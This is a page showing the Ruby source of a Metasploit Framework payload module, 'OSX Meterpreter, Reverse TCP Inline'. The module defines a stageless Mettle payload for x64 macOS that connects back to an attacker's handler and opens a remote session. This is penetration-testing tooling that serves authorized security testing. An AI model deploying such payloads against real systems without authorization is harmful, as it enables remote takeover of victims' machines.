Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
# Module generated by tools/modules/generate_mettle_payloads.rb
7
module MetasploitModule
8
CachedSize = 857592
9
10
include Msf::Payload::Single
11
include Msf::Sessions::MeterpreterOptions
12
include Msf::Sessions::MettleConfig
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'OSX Meterpreter, Reverse TCP Inline',
19
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
20
'Author' => [
21
'Adam Cammack <adam_cammack[at]rapid7.com>',
22
'Brent Cook <brent_cook[at]rapid7.com>',
23
'timwr'
24
],
25
'Platform' => 'osx',
26
'Arch' => ARCH_X64,
27
'License' => MSF_LICENSE,
28
'Handler' => Msf::Handler::ReverseTcp,
29
'Session' => Msf::Sessions::Meterpreter_x64_OSX
30
)
31
)
32
end
33
34
def generate(_opts = {})
35
opts = {
36
scheme: 'tcp',
37
stageless: true
38
}.merge(mettle_logging_config)
39
MetasploitPayloads::Mettle.new('x86_64-apple-darwin', generate_config(opts)).to_binary :exec
40
end
41
end
42
43